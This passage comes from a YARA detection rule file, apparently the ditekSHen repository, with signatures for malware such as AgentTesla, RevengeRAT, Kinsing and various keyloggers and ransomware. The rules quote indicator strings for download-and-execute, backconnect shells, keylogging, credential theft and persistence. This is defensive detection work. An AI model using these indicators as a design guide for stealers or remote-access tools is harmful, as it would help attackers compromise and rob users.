		$l3 = "\\Programs.txt" wide
		$l4 = "\\Passwords_Edge.txt" wide
		$l5 = "\\KL.txt" wide
		$w1 = "dont touch" fullword wide
		$w2 = "Grabber" fullword wide
		$w3 = "Keylogger" fullword wide
		$w4 = "password-check" fullword wide
		$w5 = "H4sIAAAAAAAEA" wide
		$p1 = "^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$" wide
		$p2 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" wide
	condition:
		uint16( 0 ) == 0x5a4d and 8 of them
}

rule DITEKSHEN_MALWARE_Linux_Kinsing : FILE
{
	meta:
		description = "Kinsing RAT payload"
		author = "ditekSHen"
		id = "b13d2c36-c8d3-5138-9e9a-8b5390a93c8d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1361-L1376"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "566eb7d1864e3a8088ad4f5d032d6d62a33080bbfc5c20c2520315cfc8146afc"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "backconnect" ascii
		$s2 = "connectForSocks" ascii
		$s3 = "downloadAndExecute" ascii
		$s4 = "download_and_exec" ascii
		$s5 = "masscan" ascii
		$s6 = "UpdateCommand:" ascii
		$s7 = "exec_out" ascii
		$s8 = "doTask with type %s" ascii
	condition:
		uint16( 0 ) == 0x457f and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Avaddon : FILE
{
	meta:
		description = "Avaddon ransomware payload"
		author = "ditekSHen"
		id = "d5618c8a-17b7-5009-9947-a6462ad2a4af"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1378-L1395"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "fc3032572d2ab2550d3dde738a3d403459da9b5b640acc814596d958b83620bf"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\IMAGEM~1.%d\\VISUA~1\\BIN\\%s.exe" ascii
		$s2 = "\\IMAGEM~1.%.2d-\\VISUA~1\\BIN\\%s.exe" ascii
		$s3 = "\\IMAGEM~1.%d-Q\\VISUA~1\\BIN\\%s.exe" ascii
		$s4 = "\\IMAGEM~1.%d\\%s.exe" ascii
		$s5 = "EW6]>mFXDS?YBi?W5] CY 4Z8Y BY7Y BZ8Z CY7Y AY8Z CZ8Y!Y:Z" ascii
		$s6 = "FY  AY 'Z      ;W      @Y  @Y 'Z    Y  @Y (Z" ascii
		$s7 = "\"rcid\":\"" fullword ascii
		$s8 = "\"ip\":\"" fullword ascii wide
		$s9 = ".?AUANEventIsGetExternalIP@@" fullword ascii
		$s10 = ".?AUANEventGetCpuMax@@" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 8 of them
}

rule DITEKSHEN_MALWARE_Win_Prolock : FILE
{
	meta:
		description = "ProLock ransomware payload"
		author = "ditekSHen"
		id = "88fa19ba-238c-5d4d-bf0c-d421ee2ecf1d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1397-L1413"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b7d2cc71acc4f643a86781d957afcf5203a2f4034b9ca7da93e8227ddee79f3b"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Ransomware.ProLock"
	strings:
		$s1 = ".flat" fullword ascii
		$s2 = ".data" fullword ascii
		$s3 = ".api" fullword ascii
		$s4 = "RtlZeroMemory" fullword ascii
		$s5 = "LoadLibraryA" fullword ascii
		$s6 = "Sleep" fullword ascii
		$s7 = "lstrcatA" fullword ascii
		$s8 = { 55 89 E5 8B 45 08 EB 00 89 45 EC 8D 15 4F 10 40 00 8D 05 08 10 40 00 83 E8 08 29 C2 8B 45 EC 01 C2 31 }
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Agentteslav3 : FILE
{
	meta:
		description = "AgentTeslaV3 infostealer payload"
		author = "ditekSHen"
		id = "c44c69dd-5e95-595c-88c7-89e243648198"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1448-L1481"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "6c62b2f601eba3c83b60f7f6dbd3d0ec3c01af30f4312df897bb5e902c36fdac"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "get_kbok" fullword ascii
		$s2 = "get_CHoo" fullword ascii
		$s3 = "set_passwordIsSet" fullword ascii
		$s4 = "get_enableLog" fullword ascii
		$s5 = "bot%telegramapi%" wide
		$s6 = "KillTorProcess" fullword ascii
		$s7 = "GetMozilla" ascii
		$s8 = "torbrowser" wide
		$s9 = "%chatid%" wide
		$s10 = "logins" fullword wide
		$s11 = "credential" fullword wide
		$s12 = "AccountConfiguration+" wide
		$s13 = "<a.+?href\\s*=\\s*([\"'])(?<href>.+?)\\1[^>]*>" fullword wide
		$g1 = "get_Clipboard" fullword ascii
		$g2 = "get_Keyboard" fullword ascii
		$g3 = "get_Password" fullword ascii
		$g4 = "get_CtrlKeyDown" fullword ascii
		$g5 = "get_ShiftKeyDown" fullword ascii
		$g6 = "get_AltKeyDown" fullword ascii
		$m1 = "yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.html<html></html>Logtext/html[]Time" ascii
		$m2 = "%image/jpg:Zone.Identifier\\tmpG.tmp%urlkey%-f \\Data\\Tor\\torrcp=%PostURL%127.0.0.1POST+%2B" ascii
		$m3 = ">{CTRL}</font>Windows RDPcredentialpolicyblobrdgchrome{{{0}}}CopyToComputeHashsha512CopySystemDrive\\WScript.ShellRegReadg401" ascii
		$m4 = "%startupfolder%\\%insfolder%\\%insname%/\\%insfolder%\\Software\\Microsoft\\Windows\\CurrentVersion\\Run%insregname%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\RunTruehttp" ascii
		$m5 = "\\WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera" ascii
	condition:
		( uint16( 0 ) == 0x5a4d and ( 8 of ( $s* ) or ( 6 of ( $* ) and all of ( $g* ) ) ) ) or ( 2 of ( $m* ) )
}

rule DITEKSHEN_MALWARE_Win_Remoteutilitiesrat : FILE
{
	meta:
		description = "RemoteUtilitiesRAT RAT payload"
		author = "ditekSHen"
		id = "1cf3ece1-e723-5302-9673-273381ba7a8b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1521-L1537"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "179a559f6a6ffbce31595bd613d338bb6ac40b8a083ed0169cde754b6ed756c7"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.RemoteUtilitiesRAT"
	strings:
		$s1 = "rman_message" wide
		$s2 = "rms_invitation" wide
		$s3 = "rms_host_" wide
		$s4 = "rman_av_capture_settings" wide
		$s5 = "rman_registry_key" wide
		$s6 = "rms_system_information" wide
		$s7 = "_rms_log.txt" wide
		$s8 = "rms_internet_id_settings" wide
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Apocalypse : FILE
{
	meta:
		description = "Apocalypse infostealer payload"
		author = "ditekSHen"
		id = "f1fa6642-fe42-57e7-a1bc-0f59815049f8"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1598-L1615"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d18ac492ad57cf390f20693cb47ae2c6e3dbdd921fa846130a4bc20047e1aa27"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "OpenClipboard" fullword ascii
		$s2 = "SendARP" fullword ascii
		$s3 = "GetWebRequest" fullword ascii
		$s4 = "DotNetGuard" fullword ascii
		$s5 = "set_CreateNoWindow" fullword ascii
		$s6 = "UploadFile" fullword ascii
		$s7 = "GetHINSTANCE" fullword ascii
		$s8 = "Kill" fullword ascii
		$s9 = "GetProcesses" fullword ascii
		$s10 = "get_PrimaryScreen" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Betabot : FILE
{
	meta:
		description = "BetaBot payload"
		author = "ditekSHen"
		id = "377c500c-5727-5bea-ac46-cb69c868a607"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1654-L1666"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e594d01874ee622169d6708ddc6cfde7f1d26d2bea1604961dc860700e8a1d5d"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "__restart" fullword ascii
		$s2 = "%SystemRoot%\\SysWOW64\\tapi3.dll" fullword wide
		$s3 = "%SystemRoot%\\system32\\tapi3.dll" fullword wide
		$s4 = "publicKeyToken=\"6595b64144ccf1df\"" ascii
		$s5 = "VirtualProtectEx" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and all of them
}

rule DITEKSHEN_MALWARE_Win_Wshratplugin : FILE
{
	meta:
		description = "WSHRAT keylogger plugin payload"
		author = "ditekSHen"
		id = "45c4fc87-6c45-5cd7-9fc4-7d3ea664a740"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1668-L1685"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "3feeab43b58b533b7d2d41a71f2107e6f05b9c54ff805607843d253cadbe9384"
		score = 75
		quality = 75
		tags = "FILE"
		snort_sid = "920010-920012"
		clamav_sig = "MALWARE.Win.Trojan.WSHRAT-KLG"
	strings:
		$s1 = "GET /open-keylogger HTTP/1.1" fullword wide
		$s2 = "KeyboardChange: nCode={0}, wParam={1}, vkCode={2}, scanCode={3}, flags={4}, dwExtraInfo={6}" wide
		$s3 = "MouseChange: nCode={0}, wParam={1}, x={2}, y={3}, mouseData={4}, flags={5}, dwExtraInfo={7}" wide
		$s4 = "sendKeyLog" fullword ascii
		$s5 = "saveKeyLog" fullword ascii
		$s6 = "get_TotalKeyboardClick" fullword ascii
		$s7 = "get_SessionMouseClick" fullword ascii
		$pdb = "\\Android\\documents\\visual studio 2010\\Projects\\Keylogger\\Keylogger\\obj\\x86\\Debug\\Keylogger.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Revengerat : FILE
{
	meta:
		description = "RevengeRAT and variants payload"
		author = "ditekSHen"
		id = "7d725050-108c-54b5-978e-2dd2124f5b0f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1687-L1713"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "be9e50052f45b94d5995db723dd64d16a91c5ba0d3f589c018155c0cce45124f"
		score = 75
		quality = 75
		tags = "FILE"
		snort_sid = "920000-920002"
	strings:
		$l1 = "Lime.Connection" fullword ascii
		$l2 = "Lime.Packets" fullword ascii
		$l3 = "Lime.Settings" fullword ascii
		$l4 = "Lime.NativeMethods" fullword ascii
		$s1 = "GetAV" fullword ascii
		$s2 = "keepAlivePing!" fullword ascii wide
		$s3 = "Revenge-RAT" fullword ascii wide
		$s4 = "*-]NK[-*" fullword ascii wide
		$s5 = "RV_MUTEX" fullword ascii wide
		$s6 = "set_SendBufferSize" fullword ascii
		$s7 = "03C7F4E8FB359AEC0EEF0814B66A704FC43FB3A8" fullword ascii
		$s8 = "5B1EE7CAD3DFF220A95D1D6B91435D9E1520AC41" fullword ascii
		$s9 = "\\RevengeRAT\\" ascii
		$q1 = "Select * from AntiVirusProduct" fullword ascii wide
		$q2 = "SELECT * FROM FirewallProduct" fullword ascii wide
		$q3 = "select * from Win32_Processor" fullword ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $l* ) and 3 of ( $s* ) ) or ( all of ( $q* ) and 3 of ( $s* ) ) or 3 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_TRAT : FILE
{
	meta:
		description = "TRAT payload"
		author = "ditekSHen"
		id = "15f80970-6bc7-5e29-86d6-f7529a10d227"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1715-L1730"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b8474c74cd9f21fcb3a8ae1c7a7a0a801f0f117782e9803cdae39daf7f0f8b2f"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.TRAT"
	strings:
		$s1 = "^STEAM_0:[0-1]:([0-9]{1,10})$" fullword wide
		$s2 = "^7656119([0-9]{10})$" fullword wide
		$s3 = "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)" ascii
		$s4 = "\"schtasks\", \"/delete /tn UpdateWindows /f\");" ascii
		$s5 = "ProcessWindowStyle.Hidden" ascii
		$s6 = "+<>c+<<ListCommands>" ascii
		$s7 = "//B //Nologo *Y" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Matiex : FILE
{
	meta:
		description = "Matiex/XetimaLogger keylogger payload"
		author = "ditekSHen"
		id = "61803e0c-8f6a-5ded-855a-ff26eed1384f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1768-L1788"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "62b45c43d99bef93a6c0e72200b869fdce331f8fa325640df7d8b72af56a3ef2"
		score = 75
		quality = 73
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.MatiexKeylogger"
	strings:
		$id = "--M-A-T-I-E-X--K-E-Y-L-O-G-E-R--" ascii wide
		$s1 = "StartKeylogger" fullword ascii
		$s2 = "_KeyboardLoggerTimer" ascii
		$s3 = "_ScreenshotLoggerTimer" ascii
		$s4 = "_VoiceRecordLogger" ascii
		$s5 = "_ClipboardLoggerTimer" ascii
		$s6 = "get_logins" fullword ascii
		$s7 = "get_processhackerFucked" fullword ascii
		$s8 = "_ThePSWDSenders" fullword ascii
		$pdb = "\\Before FprmT\\Document VB project\\FireFox Stub\\FireFox Stub\\obj\\Debug\\VNXT.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( $id or 4 of ( $s* ) or ( $pdb and 2 of them ) )
}

rule DITEKSHEN_MALWARE_Win_Iamthekingkeylogger : FILE
{
	meta:
		description = "IAmTheKing Keylogger payload"
		author = "ditekSHen"
		id = "f9c84241-6db2-5243-9bea-2165104cb0c3"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1790-L1805"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "80d8cabfd02cd73e19e6cf1c2a8a5f06c5b3b502fe4f07289e92b448425aaa6d"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.IAmTheKingKeylogger"
	strings:
		$s1 = "[TIME:]%d/%d/%d %02d:%02d:%02d" fullword ascii
		$s2 = "[TITLE:]" fullword ascii
		$s3 = "%s-%02d-%02d-%02d-%02d" fullword ascii
		$s4 = "[DATA]:" fullword ascii
		$s5 = "[BK]" fullword ascii
		$s6 = "Log.txt" fullword ascii
		$s7 = "sonme hting is wrong x" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Iamthekingscrcap : FILE
{
	meta:
		description = "IAmTheKing screen capture payload"
		author = "ditekSHen"
		id = "ba385194-9578-568c-b908-bc4fc742e52e"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1807-L1821"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "594ddad4e08bad51f90de1c4299e28b4800b4fa686bd4176e406ba401a1242ba"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "@MyScreen.jpg" fullword wide
		$s2 = "DISPLAY" fullword wide
		$s3 = ".?AVCImage@ATL@@" fullword ascii
		$s4 = ".?AVGdiplusBase@Gdiplus@@" fullword ascii
		$s5 = ".?AVImage@Gdiplus@@" fullword ascii
		$s6 = ".?AVBitmap@Gdiplus@@" fullword ascii
		$s7 = ".?AVCAtlException@ATL@@" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Iamthekingkingofhearts : FILE
{
	meta:
		description = "IAmTheKing King Of Hearts payload"
		author = "ditekSHen"
		id = "95c73ec0-75b0-5d46-87da-b30feb170716"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1823-L1843"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "75b6dd0ebb90fd04f9e4a0b1fc6a1bbf417fc66daad24c8b01f0390f6155ec55"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "write info fail!!! GetLastError-->%u" fullword ascii
		$s2 = "LookupAccountSid Error %u" fullword ascii
		$s3 = "CreateServiceErrorID:%d" fullword ascii
		$s4 = "In ControlServiceErrorID:%d" fullword ascii
		$s5 = "In QueryServiceStatus ErrorID:%d" fullword ascii
		$s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii
		$s7 = "hello%s" fullword ascii
		$s8 = "additional header failed..." fullword ascii
		$s9 = "Set Option failed errcode: %ld" fullword ascii
		$s10 = "add cookie failed..." fullword ascii
		$u1 = "Mozilla/4.0 (compatible; )" fullword ascii
		$u2 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $u* ) and 4 of ( $s* ) ) or ( all of ( $u* ) and 3 of ( $s* ) ) or ( 5 of them ) )
}

rule DITEKSHEN_MALWARE_Win_Redlinedropperahk : FILE
{
	meta:
		description = "Detects AutoIt/AutoHotKey executables dropping RedLine infostealer"
		author = "ditekSHen"
		id = "16eee826-f1fd-5a6f-b6f3-e02ccd889614"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1866-L1878"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0950fe9daa02f3a8fd527f75275766111be7e8774578963b0bdb455800dfc4f9"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.RedLineDropper-AHK"
	strings:
		$s1 = ".SetRequestHeader(\"User-Agent\",\" ( \" OSName \" | \" bit \" | \" CPUNAme \"\"" ascii
		$s2 = ":= \" | Windows Defender\"" ascii
		$s3 = "WindowSpy.ahk" wide
		$s4 = ">AUTOHOTKEY SCRIPT<" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Dlagent01 : FILE
{
	meta:
		description = "Detects known downloader agent"
		author = "ditekSHen"
		id = "85ead6fd-b56e-5e78-8fb4-7c9ecb4c0b58"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1880-L1894"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "7aec81655af9b779a314c3e2cff933aa6426fcfe21b5a87e60e159c7e7f5238a"
		score = 75
		quality = 75
		tags = "FILE"
		snort_sid = "920007"
		clamav_sig = "MALWARE.Win.Trojan.DLAgent01"
	strings:
		$s1 = "Mozilla/5.0 Gecko/41.0 Firefox/41.0" fullword wide
		$s2 = "/Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List" fullword wide
		$s3 = "GUID.log" fullword wide
		$s4 = "NO AV" fullword wide
		$s5 = "%d:%I64d:%I64d:%I64d" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Linux_PLEAD : FILE
{
	meta:
		description = "PLEAD Linux payload"
		author = "ditekSHen"
		id = "07aa0561-d6d9-53b6-97ac-670cdf04335d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1896-L1920"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "539998248ded0eb8ea1702c527804f89cfd55412f17ec699bd0af801f4fba673"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Linux.Trojan.PLEAD"
	strings:
		$x1 = "CFileTransfer" ascii
		$x2 = "CFileManager" ascii
		$x3 = "CPortForward" ascii
		$x4 = "CPortForwardManager" ascii
		$x5 = "CRemoteShell" ascii
		$x6 = "CSockClient" ascii
		$s1 = "/proc/self/exe" fullword ascii
		$s2 = "/bin/sh" fullword ascii
		$s3 = "echo -e '" ascii
		$s4 = "%s    <DIR>    %s" ascii
		$s5 = "%s    %lld    %s" ascii
		$s6 = "Files: %d        Size: %lld" ascii
		$s7 = "Dirs: %d" ascii
		$s8 = "%s(%s)/" ascii
		$s9 = "%s %s %s %s" ascii
	condition:
		uint16( 0 ) == 0x457f and ( all of ( $x* ) or all of ( $s* ) or 12 of them )
}

rule DITEKSHEN_MALWARE_Win_CRAT : FILE
{
	meta:
		description = "Detects CRAT main DLL"
		author = "ditekSHen"
		id = "9757a8de-61ea-55c0-b64c-055798450985"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1922-L1944"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5a9fef68e110a1564dd5956408abcc3736cfa6853e1ac5510a089cc68f6bdc35"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "cmd /c \"dir %s /s >> %s\"" wide
		$s2 = "Set-Cookie:\\b*{.+?}\\n" wide
		$s3 = "Location: {[0-9]+}" wide
		$s4 = "Content-Disposition: form-data; name=\"%s\"; filename=\"" ascii
		$s6 = "%serror.log" wide
		$v2x_1 = "?timestamp=%u" wide
		$v2x_2 = "config.txt" wide
		$v2x_3 = "entdll.dll" wide
		$v2x_4 = "\\cmd.exe" wide
		$v2x_5 = "[MyDocuments]" wide
		$v2x_6 = "@SetWindowTextW FindFileExA" wide
		$v2x_7 = "Microsoft\\Windows\\WinX\\Group1\\*.exe" wide
		$v2s_1 = "Installed Anti Virus Programs" ascii
		$v2s_2 = "Running Processes" ascii
		$v2s_3 = "id=%u&content=" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or 6 of ( $v2x* ) or all of ( $v2s* ) or ( 2 of ( $v2s* ) and 4 of ( $v2x* ) ) )
}



rule DITEKSHEN_MALWARE_Win_Aliencrypter : FILE
{
	meta:
		description = "Detects AlienCrypter injector/downloader/obfuscator"
		author = "ditekSHen"
		id = "af9e785a-bdec-5d3e-9a50-56f7f1a0507e"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2022-L2036"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "28a2a6e6d58fd6efbb5753a7be5b621a3eac546d45f9481b9dd2641cbe70b547"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = ".AlienRunPE." ascii wide
		$s2 = "RunAsNewUser_RunDLL" fullword wide
		$s3 = { 00 50 52 4f 43 45 53 53 5f 53 55 53 50 45 4e 44 5f 52 45 53 55 4d 45 00 64 6e 6c 69 62 2e 50 45 00 }
		$s4 = { 2e 41 6c 69 65 6e 52 75 6e 50 45 00 50 52 4f 43 45 53 53 5f 54 45 52 4d 49 4e 41 54 45 00 }
		$s5 = "@@@http" wide
		$resp1 = "</p><p>@@@77,90," ascii wide
		$resp2 = "</p><p>@@@HH,JA," ascii wide
	condition:
		( uint16( 0 ) == 0x5a4d and 3 of them ) or ( 1 of ( $resp* ) and 2 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Ficker : FILE
{
	meta:
		description = "Detects Ficker infostealer"
		author = "ditekSHen"
		id = "1cfeea86-e8bf-50fb-ba08-435d7a14a913"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2038-L2055"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "adcc0ffc0e1ded36dc41c22d10d2ea293d5740484203892bcecf89a5f4001452"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.Ficker"
	strings:
		$s1 = "JNOde\\" ascii
		$s2 = "\"SomeNone" fullword ascii
		$s3 = "kindmessage" fullword ascii
		$s4 = "..\\\\?\\.\\UNC\\Windows stdio in console mode does not support writting non-UTF-8 byte sequences" ascii
		$s5 = "..\\\\?\\.\\UNC\\Windows stdio in console mode does not support writing non-UTF-8 byte sequences" ascii
		$s6 = "(os error other os erroroperation interrruptedwrite zerotimed" ascii
		$s7 = "(os error other os erroroperation interruptedwrite zerotimed" ascii
		$s8 = "nPipeAlreadyExistsWouldBlockInvalidInputInvalidDataTimedOutWriteZeroInterruptedOtherN" fullword ascii
		$s9 = "_matherr(): %s in %s(%g, %g)  (retval=%g)" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Xorist : FILE
{
	meta:
		description = "Detects Xorist ransomware"
		author = "ditekSHen"
		id = "76119441-343d-51c3-90eb-9d54c80a983d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2057-L2078"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b34e3fa065cabcd8d26908866e53ff599631128e1da884e42a2e63d890879eaa"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Ransomware.Xorist"
	strings:
